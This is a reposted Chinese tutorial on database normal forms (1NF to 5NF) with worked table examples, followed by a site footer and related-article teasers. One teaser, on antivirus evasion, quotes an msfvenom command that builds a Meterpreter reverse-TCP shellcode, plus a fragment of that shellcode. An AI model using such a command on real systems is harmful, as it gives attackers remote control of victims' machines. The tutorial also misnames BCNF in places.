關系數據庫理論:數據庫的六大范式知識筆記

? ? ? ? ? ? ?

?

1、數據庫范式的作用

數據庫范式主要是為解決關系數據庫中數據冗余、更新異常、插入異常、刪除異常問題而引入的設計理念。簡單來說,數據庫范式可以避免數據冗余,減少數據庫的存儲空間,并且減輕維護數據完整性的成本。是關系數據庫核心的技術之一,也是從事數據庫開發人員必備知識。

2、數據庫范式分類介紹

范式是評價數據庫模式規范化程度從低到高主要有:1NF、2NF、3Nf、BCNF、4NF、5NF。

2.1 1NF 第一范式

強調屬性的原子性約束,要求屬性具有原子性,不可再分解。

舉例:

學生表(學號、姓名、年齡、性別、地址)。地址可以細分為國家、省份、城市、市區、街道,那么該模式就沒有達到第一范式。

第一范式存在問題:冗余度大、會引起修改操作的不一致性、數據插入異常、數據刪除異常。

2.2 2NF 第二范式

第二范式,強調記錄的唯一性約束,數據表必須有一個主鍵,并且沒有包含在主鍵中的列必須完全依賴于主鍵,而不能只依賴于主鍵的一部分。

舉例:

版本表(版本編碼,版本名稱,產品編碼,產品名稱),其中主鍵是(版本編碼,產品編碼),這個場景中,數據庫設計并不符合第二范式,因為產品名稱只依賴于產品編碼。存在部分依賴。所以,為了使其滿足第二范式,可以改造成兩個表:版本表(版本編碼,產品編碼)和產品表(產品編碼,產品名稱)

2.3 3NF 第三范式

第三范式,強調數據屬性冗余性的約束,也就是非主鍵列必須直接依賴于主鍵。也就是消除了非主屬性對碼的傳遞函數依賴。

舉例:

訂單表(訂單編碼,顧客編碼,顧客名稱),其中主鍵是(訂單編碼),這個場景中,顧客編碼、顧客名稱都完全依賴于主鍵,因此符合第二范式,但顧客名稱依賴于顧客編碼,從而間接依賴于主鍵,所以不能滿足第三范式。如果要滿足第三范式,需要拆分為兩個表:訂單表(訂單編碼,顧客編碼)和顧客表(顧客編碼,顧客名稱)。

說明:3NF的模式肯定滿足2NF。產生冗余和異常的兩個重要原因是部分依賴和傳遞依賴。3NF模式中不存在非主屬性對碼的部分函數依賴和傳遞函數依賴,性能較好。1NF、2NF一般不適合作為數據庫模式,通常需要轉換為3NF或者更高級別的范式,這種變換過程稱為關系模式規范化處理。

2.4 BCNF(Bovce Codd Normal Form 巴克斯范式)

屬于修正的第三范式,是防止主鍵的某一列會依賴于主鍵的其他列。當3NF消除了主屬性對碼的部分函數依賴和傳遞函數依賴稱為BCNF。

特性:

1、所有主屬性對每一個碼都是完全函數依賴

2、所有主屬性對每一個不包含它的碼,也是完全函數依賴

3、沒有任何屬性完全函數依賴與非碼的任何一組屬性

舉例:庫存表(倉庫名,管理員名,商品名,數量),主鍵為(倉庫名,管理員名,商品名),這是滿足前面三個范式的,但是倉庫名和管理員名之間存在依賴關系,因此刪除某一個倉庫,會導致管理員也被刪除,這樣就不滿足BCNF。

2.5 4NF 第四范式?

非主屬性不應該有多值。如果有多值就違反了第四范式。4NF是限制關系模式的屬性間不允許有非平凡且非函數依賴的多值依賴。

舉例:用戶聯系方式表(用戶id,固定電話,移動電話),其中用戶id是主鍵,這個滿足了BCNF,但是一個用戶有可能會有多個固定電話或者多個移動電話,那么這種設計就不合理,應該改為(用戶id,聯系方式類型,電話號碼)。

說明:如果只考慮函數依賴,關系模式規范化程度最高的范式是BCNF;如果考慮多值依賴則是4NF。

2.6 5NF 第五范式

第五范式屬于最終范式,消除了4NF中的連接依賴,第五范式需要滿足以下要求:

1、必須滿足第四范式

2、表必須可以分解為較小的表,除非那些表在邏輯上擁有與原始表相同的主鍵。

一般實際應用中不必考慮第五范式。

IT技術分享社區

個人博客網站:https://programmerblog.xyz

文章推薦程序員效率:畫流程圖常用的工具程序員效率:整理常用的在線筆記軟件遠程辦公:常用的遠程協助軟件,你都知道嗎?51單片機程序下載、ISP及串口基礎知識硬件:斷路器、接觸器、繼電器基礎知識

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271260.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271260.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271260.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python 生成payload_利用Python進行Payload分離免殺

缺點:編譯成exe以后體積過大實現:msf生成shellcode代碼:msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c將payload給copy下來,去除引號。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初識docker

前言大家好,我是jack xu,本篇是我在今日頭條的首秀,我的英文名來源于jack ma,馬云,所以大家也可以叫我徐云,即我希望像馬云一樣富有、成功,另外我名字中的杰與jack也是諧音關系。今天給大家帶來…

H5基礎標簽

一、字體標簽 1.text-indent:首行縮進 2.text-decoration:文本修飾(text-decoration:none;除去文字的下劃線;text-decoration:line-through;文字上加刪除線) 3.letter-spacing&#…

SQL語言基礎:數據庫語言概念介紹

1、概念介紹SQL(Structured Query Lanauage)結構化查詢語言是關系數據庫中最普遍使用的語言。主要包括查詢、數據操縱、數據定義、數據控制功能,是一種通用的、功能強大的關系數據庫的標準語言。2、SQL語言分類2.1 數據庫定義語言&#xff08…

configuration 命名空間_kubernetes30:monitoring命名空間處于Terminating狀態的處理方法...

刪除monitoring命名空間時總也無法徹底刪除,發現monitoring處于Terminating狀態,故有此文。kubectl get namespaces -o wide解決:嘗試使用force delete。kubectl delete namespace monitoring --force --grace-period0發現強制刪除沒有成功。…

SQL語言基礎:SQL語言概念知識筆記

1、SQL標準ANSI(美國國家標準機構)SQL對ANSI SQL進行修改后在1992年采用的標準SQL-92或SQL2SQL-99或SQL3標準從SQL2擴充而來,增加了對象關系特征和許多其他新的功能。最近的標準版本是SQL:20032、SQL的特點綜合統一:SQ…

重定向與轉發

使用重定向方法sendRedirect()將用戶重新定向到一個JSP頁面或另一個Servlet。 RequestDispatcher對象調用void forward(ServletRequest request,ServletResponse response) 方法可以將用戶對當前JSP頁面或Servlet的請求轉發給RequestDispatcher對象所指定的JSP頁面或Servlet。 …

ubuntu mysql 內存滿了_Ubuntu mysql可以把data防止到內存盤中

作者:李祥敬2010-03-04/17:57Ubuntu mysql對于電腦使用的玩家的常用軟件,然后我就學習及深入的研究Ubuntu mysql,在這里和大家一起探討Ubuntu mysql的使用方法,希望對大家有用。1、如果Ubuntu mysql的data數據很少,內存…

原型(Prototype)的場景是不支持循環依賴的

原型(Prototype)的場景是不支持循環依賴的,通常會走到AbstractBeanFactory類中下面的判斷,拋出異常。

網絡工程中,VLAN到底有什么作用?

什么是VLAN呢?VLAN(Virtual Local Area Network)即虛擬局域網,是將一個物理的LAN在邏輯上劃分成多個廣播域的通信技術。在IEEE802.1Internetworking委員會結束了對VLAN初期標準的修訂工作的時候。新出臺的標準進一步完善了VLAN的體…

java的decode_Java decode機試題

/**** java編寫encode方法和decode方法,機試題 請你用java,c,c* 中任何一種語言實現兩個函數encode()和decode(),分別實現對字符串的變換和復原。* 變換函數encode()順序考察以知字符串的字符,按以下規則逐組生成新字符…

hrjava項目原型html_Mockplus for Mac(原型設計工具)

Mockplus for Mac是Mac平臺上一款簡單、快速的原型設計工具,無需任何編程,不需要任何編程基礎知識,幫你快速使用Mockplus設計圖形。Mockplus封裝了近200個組件,提供3000個以上的圖標素材。做圖時,只需要把這些組件放入…

Leetcode 給定一個數組,給定一個數字。返回數組中可以相加得到指定數字的兩個索引

問題內容是:給定一個數組,給定一個數字。返回數組中可以相加得到指定數字的兩個索引。 比如:給定nums [2, 7, 11, 15], target 9 那么要返回 [0, 1],因為2 7 9 這道題的優解是,一次遍歷HashMap: 先去…

java 正則表達式 提取ip_java正則表達式提取地址中的ip和端口號

由于我需要用到java正則表達式提取地址中的ip和端口號,所以我就寫了一個demo,測試一下,下面是demopublic class Test0810_1 {public static void main(String[] args) {//通過控制板輸入想要輸入的地址,然后測試是否符合規則Scann…

SQL語言基礎:常用的數據查詢語句

1、創建表語法格式&#xff1a;creat table <表名> (<,列名><數據類型>[列級完整性約束條件]<,列名><數據類型>[列級完整性約束條件]...[,<表級完整性約束條件>]);列級完整性約束條件&#xff1a;主鍵、外鍵 、唯一 unique、檢查 、默認值…

兩個不同網段的局域網如何互通_不同網段之間如何通信?

計算機之前是如何實現互相通信的呢&#xff1f;正文首先&#xff0c;計算機之間通信人為設定一個準則&#xff0c;這個準則是什么呢&#xff1f;如果兩臺計算機在一個相同網段&#xff0c;不需要輔助設備(網關)的幫助&#xff0c;可以直接通信。如果兩臺計算機在不同網段&#…

Java是值傳遞還是引用傳遞?

Java是值傳遞&#xff1a; &#xff08;1&#xff09;基本類型作為參數傳遞時&#xff0c;是傳遞值的拷貝&#xff0c;無論你怎么改變這個拷貝&#xff0c;原值是不會改變的&#xff1b; &#xff08;2&#xff09;對象的引用作為參數傳遞時&#xff0c;是把對象在內存中的地址…

SpringCloud Gateway的組成結構

SpringCloud Gateway結構 SpringCloud Gateway的底層基于Netty&#xff0c;主要組成有Predicates&#xff08;謂詞或者斷言&#xff09;、Route&#xff08;路由&#xff09;、Filter&#xff08;過濾器&#xff09; 思維導圖----------SpringCloud Gateway的組成&#xff1a; …

java resource放入的文件沒有生成在classes中_快速部署版@開源在線考試系統一鍵生成各種題型試卷且實時判卷...

首先聲明此項目來自開源網&#xff0c;小編也是愛好者&#xff1b;閱讀本文之前相信已經閱讀過【開源在線考試系統一鍵生成各種題型試卷且可以實時判卷】開源在線考試系統一鍵生成各種題型試卷且可以實時判卷本文分享快速部署版jar包&#xff0c;原項目前后臺是單獨項目&#x…

java 三大框架面試題

1.Hibernate工作原理及為什么要用&#xff1f; 原理&#xff1a; 1.讀取并解析配置文件 2.讀取并解析映射信息&#xff0c;創建SessionFactory3.打開Session 4.創建事務Transation 5.持久化操作 6.提交事務 7.關閉Session 8.關閉SesstionFactory 為什么要用&#xff1a; 1. 對J…